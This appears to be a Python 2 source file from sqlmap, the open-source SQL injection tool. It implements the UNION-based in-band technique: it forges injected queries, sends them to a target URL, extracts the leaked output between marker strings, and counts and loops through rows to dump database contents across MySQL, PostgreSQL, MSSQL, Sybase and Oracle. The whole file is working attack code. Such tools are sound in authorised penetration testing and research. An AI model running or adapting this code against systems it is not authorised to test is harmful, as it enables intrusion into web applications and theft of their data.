sqlmap/lib/techniques/inband/union/use.py

#!/usr/bin/env python

"""
$Id$

Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""

import re
import time

from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
from lib.core.common import filterStringValue
from lib.core.common import getUnicode
from lib.core.common import initTechnique
from lib.core.common import isNumPosStrValue
from lib.core.common import listToStrValue
from lib.core.common import parseUnionPage
from lib.core.common import removeReflectiveValues
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapSyntaxException
from lib.core.settings import FROM_TABLE
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.utils.resume import resume

reqCount = 0

def __oneShotUnionUse(expression, unpack=True):
    global reqCount

    # Prepare expression with delimiters
    expression = agent.concatQuery(expression, unpack)
    expression = unescaper.unescape(expression)

    if conf.limitStart or conf.limitStop:
        where = PAYLOAD.WHERE.NEGATIVE
    else:
        where = None

    # Forge the inband SQL injection request
    vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
    query = agent.forgeInbandQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5])
    payload = agent.payload(newValue=query, where=where)

    # Perform the request
    page, headers = Request.queryPage(payload, content=True, raise404=False)
    content = "%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")

    # Remove possible reflective values from content (especially headers part)
    content = removeReflectiveValues(content, payload)

    reqCount += 1

    if kb.misc.start not in content or kb.misc.stop not in content:
        return None

    # Parse the returned page to get the exact inband
    # sql injection output
    startPosition = content.index(kb.misc.start)
    endPosition = content.rindex(kb.misc.stop) + len(kb.misc.stop)
    value = getUnicode(content[startPosition:endPosition])

    return value

def configUnion(char=None, columns=None):
    def __configUnionChar(char):
        if char.isdigit() or char == "NULL":
            conf.uChar = char
        elif not char.startswith("'") or not char.endswith("'"):
            conf.uChar = "'%s'" % char

    def __configUnionCols(columns):
        if "-" not in columns or len(columns.split("-")) != 2:
            raise sqlmapSyntaxException, "--union-cols must be a range with hyphon (e.g. 1-10)"

        columns = columns.replace(" ", "")
        colsStart, colsStop = columns.split("-")

        if not colsStart.isdigit() or not colsStop.isdigit():
            raise sqlmapSyntaxException, "--union-cols must be a range of integers"

        conf.uColsStart = int(colsStart)
        conf.uColsStop = int(colsStop)

        if conf.uColsStart > conf.uColsStop:
            errMsg = "--union-cols range has to be from lower to "
            errMsg += "higher number of columns"
            raise sqlmapSyntaxException, errMsg

    if isinstance(conf.uChar, basestring):
        __configUnionChar(conf.uChar)
    elif isinstance(char, basestring):
        __configUnionChar(char)

    if isinstance(conf.uCols, basestring):
        __configUnionCols(conf.uCols)
    elif isinstance(columns, basestring):
        __configUnionCols(columns)

def unionUse(expression, unpack=True, dump=False):
    """
    This function tests for an inband SQL injection on the target
    url then call its subsidiary function to effectively perform an
    inband SQL injection on the affected url
    """

    initTechnique(PAYLOAD.TECHNIQUE.UNION)

    global reqCount

    count = None
    origExpr = expression
    startLimit = 0
    stopLimit = None
    test = True
    value = ""
    reqCount = 0
    start = time.time()

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)

    # We have to check if the SQL query might return multiple entries
    # and in such case forge the SQL limiting the query output one
    # entry per time
    # NOTE: I assume that only queries that get data from a table can
    # return multiple entries
    if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
       (dump and (conf.limitStart or conf.limitStop))) and \
       " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
       not in FROM_TABLE) or (Backend.getIdentifiedDbms() in FROM_TABLE \
       and not expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
       and "EXISTS(" not in expression.upper() and "(CASE" not in expression.upper():

        limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
        topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)

        if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                if limitGroupStart.isdigit():
                    startLimit = int(limitRegExp.group(int(limitGroupStart)))

                stopLimit = limitRegExp.group(int(limitGroupStop))
                limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                if limitRegExp:
                    limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                    limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif topLimit:
                    startLimit = 0
                    stopLimit = int(topLimit.group(1))
                    limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
                limitCond = False
        else:
            limitCond = True

        # I assume that only queries NOT containing a "LIMIT #, 1"
        # (or similar depending on the back-end DBMS) can return
        # multiple entries
        if limitCond:
            if limitRegExp:
                stopLimit = int(stopLimit)

                # From now on we need only the expression until the " LIMIT "
                # (or similar, depending on the back-end DBMS) word
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    stopLimit += startLimit
                    untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
                    expression = expression[:untilLimitChar]

                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                    stopLimit += startLimit
            elif dump:
                if conf.limitStart:
                    startLimit = conf.limitStart
                if conf.limitStop:
                    stopLimit = conf.limitStop

            # Count the number of SQL query entries output
            countedExpression = expression.replace(expressionFields, "COUNT(*)", 1)

            if re.search(" ORDER BY ", expression, re.I):
                untilOrderChar = countedExpression.index(" ORDER BY ")
                countedExpression = countedExpression[:untilOrderChar]

            count = resume(countedExpression, None)
            count = parseUnionPage(count, countedExpression)

            if not count or not count.isdigit():
                output = __oneShotUnionUse(countedExpression, unpack)

                if output:
                    count = parseUnionPage(output, countedExpression)

            if (not count or (count.isdigit() and int(count) == 0)):
                warnMsg = "it was not possible to count the number "
                warnMsg += "of entries for the used SQL query. "
                warnMsg += "sqlmap will assume that it returns only "
                warnMsg += "one entry"
                logger.warn(warnMsg)

                stopLimit = 1

            elif isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = "the SQL query used returns "
                    infoMsg += "%d entries" % stopLimit
                    logger.info(infoMsg)

            try:
                for num in xrange(startLimit, stopLimit):
                    if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                        field = expressionFieldsList[0]
                    elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
                        field = expressionFieldsList
                    else:
                        field = None

                    limitedExpr = agent.limitQuery(num, expression, field)
                    output = resume(limitedExpr, None)

                    if not output:
                        output = __oneShotUnionUse(limitedExpr, unpack)

                    if output:
                        value += output
                        parseUnionPage(output, limitedExpr)

            except KeyboardInterrupt:
                print
                warnMsg = "Ctrl+C detected in dumping phase"
                logger.warn(warnMsg)

    if not value:
        value = __oneShotUnionUse(expression, unpack)

    duration = calculateDeltaSeconds(start)

    debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
    logger.debug(debugMsg)

    return value